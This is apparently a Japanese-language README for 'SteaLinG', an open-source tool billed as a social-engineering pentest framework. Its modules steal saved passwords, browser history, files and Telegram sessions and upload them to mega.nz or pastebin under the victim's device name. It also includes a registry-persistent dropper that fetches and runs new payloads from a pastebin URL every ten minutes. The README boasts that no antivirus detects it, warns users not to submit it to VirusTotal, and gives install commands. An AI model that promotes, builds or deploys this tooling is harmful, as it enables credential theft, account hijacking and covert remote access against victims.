de3vil/stealingThe SteaLinG は、ソーシャルエンジニアリング向けに設計されたオープンソースのペネトレーションテストフレームワークです。
anonfiles.com の閉鎖に伴い、コードを修正し、結果を mega.nz にアップロードするようになりました。
| モジュール | 簡単な説明 |
|---|---|
| パスワードダンプ | 保存されたすべてのパスワードを盗み、保存されたパスワードファイルを mega - pastebin にアップロード |
| 履歴ダンプ | ブラウザ履歴をダンプし、履歴ファイルを mega - pastebin にアップロード |
| ファイルダンプ | 指定した拡張子のファイルをハードドライブから盗み、mega にアップロード |
| Telegram セッションハイジャック | Telegram セッションハイジャッカー、Mega にアップロード |
| Dropper | 以下参照 |
| モジュール | 簡単な説明 |
|---|---|
| 1-Telegram セッションハイジャック | Telegram セッションハイジャッカー |
C:\Users\<PC名>\AppData\Roaming\Telegram Desktop
の tdata フォルダ内。C:
└── Users
├── .AppData
│ └── Roaming
│ └── TelegramDesktop
│ └── tdata
このフォルダとその内容すべてを自分のデバイスの同じパスに移動したら、必要な操作を実行するだけで済みます。ツールがすべてを処理し、あなたは https://mega.nz/ にメールアドレスとパスワードを提供するだけで済みます。最初のステップは tdata ファイルの場所に移動し、それを zip ファイルに変換することです。Telegram が正常に動作している場合、このエラーは発生しません。エラーが発生した場合は、Telegram が開いていることを意味し、そのプロセスを終了する必要があります。この動作は悪意があることに気付くでしょうが、コード内で try と except を使用して完全に回避しています。アーカイブファイルの名前は被害者のデバイス名が使用されます。複数のデバイスがある場合、区別できるためです。その後、提供したメールアドレスとパスワードを使用して mega サイトに zipfile のリクエストを送信します。以上です。いかなる AV にも検出されません。
| モジュール |
|---|
| 2- Dropper |
.exe や .png など、重要な拡張子である必要があります。重要なのは リンク が拡張子 (.任意の拡張子) で終わることです。
2 つ目は、あなたから API キー を取得することです。これも提供します。登録して "API" という単語をクリックすると見つかり、ユーザー名 と パスワード をメモしてください。
まず最初に、ウェブサイト上でプライベートペーストを作成します。その後、提供された URL を追加し、実行可能ファイル (exe) を生成します。その機能は、任意のデバイスで実行されたときに、2 つの方法でデバイスのレジストリに自身を追加することです。
まず、Pastebin ウェブサイトを開き、作成した特別なペーストを挿入します。次に、ペースト URL を取得し、そのコンテンツをダウンロードして実行します。さらに、いつでも別の URL を入力できます。これはごく普通の動作です。なぜなら、Dropper は 10 分ごとに URL をチェックし、新しい URL を見つけるとそのコンテンツをダウンロードし、接続して実行を続けるからです。あなたは何もする必要はありません。したがって、10 分ごとにどこからでもデバイスにアクセスできます。
3- Linux サポート
4- Mega または Pastebin を選択できるようになりました。
git clone https://github.com/De3vil/SteaLinG.git
cd SteaLinG
pip install -r requirements.txt
python SteaLinG.py
git clone https://github.com/De3vil/SteaLinG.git
cd SteaLinG
chmod +x linux_setup.sh
bash linux_setup.sh
python3 -m pip install -r requirements.txt
python SteaLinG.py
* VirusTotal.com にアップロードしないでください。このツールは時間と共に動作しなくなります。
* VirusTotal はシグネチャを AV 企業と共有します。
* 繰り返しますが、バカにならないでください！
このツールが役に立ったなら、コーヒーをおごって感謝してもらえると嬉しいです :)
